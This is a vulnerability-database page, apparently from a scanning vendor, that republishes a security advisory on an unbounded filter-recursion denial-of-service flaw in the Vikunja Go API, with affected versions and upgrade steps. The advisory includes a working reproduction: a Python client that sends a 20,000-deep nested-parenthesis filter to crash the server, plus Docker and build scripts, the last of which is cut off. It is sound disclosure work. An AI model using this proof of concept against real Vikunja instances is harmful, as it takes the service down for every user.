Vikunja: Unbounded nested task-filter recursion permits API process termination
CVE-2026-91968 · GHSA-xxc3-xpmc-vmvr · GO-2026-6759 · published 9 Oct 2026
How serious is it
- Severity: high, CVSS score 7.1 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-91968?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
code.vikunja.io/api(Go) = 2.5.0
How to check
- Run
go list -m code.vikunja.io/apiin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
code.vikunja.io/apito 2.6.0 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
# Unbounded nested task-filter recursion permits API process termination
## Summary
Authenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process.
## Impact and affected scope
- **Type:** Resource Exhaustion Recursive Parser
- **Affected component:** GET /api/v2/projects/{project}/tasks?filter=<nested expression>; Other authenticated task-collection entrypoints that share getTaskFiltersFromFilterString
- **Preconditions:** A low-privileged authenticated user supplies thousands of balanced parentheses around a valid task predicate in the filter query parameter.
- **Verified revision:** `349cd5adbcc831ef08b08e6c9c6d627603c39606` on 28 August 2026
- **Affected release range:** `= 2.5.0`; broader historical range not established and maintainer confirmation requested
A single low-privileged network request can terminate the API process and deny service to all users.
## Technical details
The server preprocesses and recursively parses/traverses an unbounded filter expression without rejecting excessive length or depth.
Attack path: Authenticate, request an accessible project's task collection with 20,000 nested parenthesis pairs around id = 1, and drive parser and expression-tree memory growth until the process is killed.
Relevant code:
- `pkg/models/task_collection_filter.go:240`
- `pkg/models/task_collection_filter.go:268`
- `pkg/models/task_collection_filter.go:274`
- `pkg/models/task_collection_filter.go:276`
- `pkg/models/task_collection_filter.go:295`
## Reproduction
Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.
Create `reproduction/Dockerfile`:
```text
FROM golang:1.27.0-alpine
RUN apk add --no-cache bash build-base ca-certificates python3 tzdata
WORKDIR /app
COPY . /app
RUN chmod +x /app/*.sh 2>/dev/null || true
# Target source is supplied only at runtime through /target-repo:ro.
# This image contains build dependencies and reproduction helpers, not a clone.
```
Create `reproduction/client.py`:
```python
#!/usr/bin/env python3
import json
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
BASE = "http://target:3456"
def request(method, path, body=None, token=None, expected=None, timeout=30):
raw = None if body is None else json.dumps(body).encode()
headers = {"Accept": "application/json"}
if body is not None:
headers["Content-Type"] = "application/json"
if token:
headers["Authorization"] = "Bearer " + token
req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=timeout) as response:
status, data = response.status, response.read()
except urllib.error.HTTPError as exc:
status, data = exc.code, exc.read()
print(f"{method} {path[:160]} -> {status} {data[:200].decode(errors='replace')}", flush=True)
if expected is not None and status != expected:
raise RuntimeError(f"{method}: got {status}, expected {expected}")
return status, json.loads(data.decode()) if data else {}
def wait_ready():
for _ in range(240):
try:
if request("GET", "/api/v1/info")[0] == 200:
return
except Exception:
pass
time.sleep(0.25)
raise RuntimeError("target did not become ready")
def filter_path(project_id, depth):
expression = "(" * depth + "id = 1" + ")" * depth
path = f"/api/v2/projects/{project_id}/tasks?filter=" + urllib.parse.quote(expression, safe="")
print(f"PoC_FILTER_REQUEST depth={depth} target_bytes={len(path)}", flush=True)
return path
def main():
wait_ready()
username, password = "PoC-filter-user", "PoC-password-123!"
request("POST", "/api/v2/register", {
"username": username,
"email": username + "@example.invalid",
"password": password,
}, expected=201)
_, login = request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200)
token = login["token"]
_, project = request("PUT", "/api/v1/projects", {"title": "PoC filter project"}, token, 201)
started = time.monotonic()
request("GET", filter_path(project["id"], 1000), token=token, expected=200)
print(f"PoC_FILTER_CONTROL=PASS elapsed={time.monotonic() - started:.3f}s", flush=True)
try:
status, _ = request("GET", filter_path(project["id"], 20000), token=token, timeout=90)
raise RuntimeError(f"attack unexpectedly returned HTTP {status}")
except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc:
print(f"PoC_FILTER_ATTACK_DISCONNECTED error={type(exc).__name__}", flush=True)
print("PoC_FILTER_ATTACK_SENT depth=20000", flush=True)
if __name__ == "__main__":
try:
main()
except Exception as exc:
print(f"PoC_FILTER_CLIENT=FAIL {exc}", file=sys.stderr, flush=True)
raise
```
Create `reproduction/prepare.sh`:
```sh
#!/usr/bin/env bash
set -euo pipefail
mkdir -p /work/repo
cp -a /target-repo/. /work/repo/
mkdir -p /work/repo/frontend/dist
cp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html
cd /work/repo
CGO_ENABLED=1 go build \
-tags osusergo \
-ldflags '-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction' \
-o /output/vikunja .
chmod 0755 /output/vikunja
if [[ -f /app/probe.go ]]; then
go build -o /output/probe /app/probe.go
chmod 0755 /output/probe
fi
```
Create `reproduction/run.sh`:
```sh
#!/usr/bin/env bash
set…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/go-vikunja/vikunja/security/advisories/GHSA-xxc3-xpmc-vmvr
- nvd.nist.gov/vuln/detail/CVE-2026-91968
- github.com/go-vikunja/vikunja/pull/3688
- github.com/go-vikunja/vikunja/releases/tag/v2.6.0
- www.vulncheck.com/advisories/vikunja-before-2.6.0-denial-of-service-via-unbounded-filter-recursion
- github.com/advisories/GHSA-xxc3-xpmc-vmvr
- github.com/go-vikunja/vikunja
Merged from GitHub Advisory Database, OSV. Last updated 24 Oct 2026. All vulnerabilities · RSS · JSON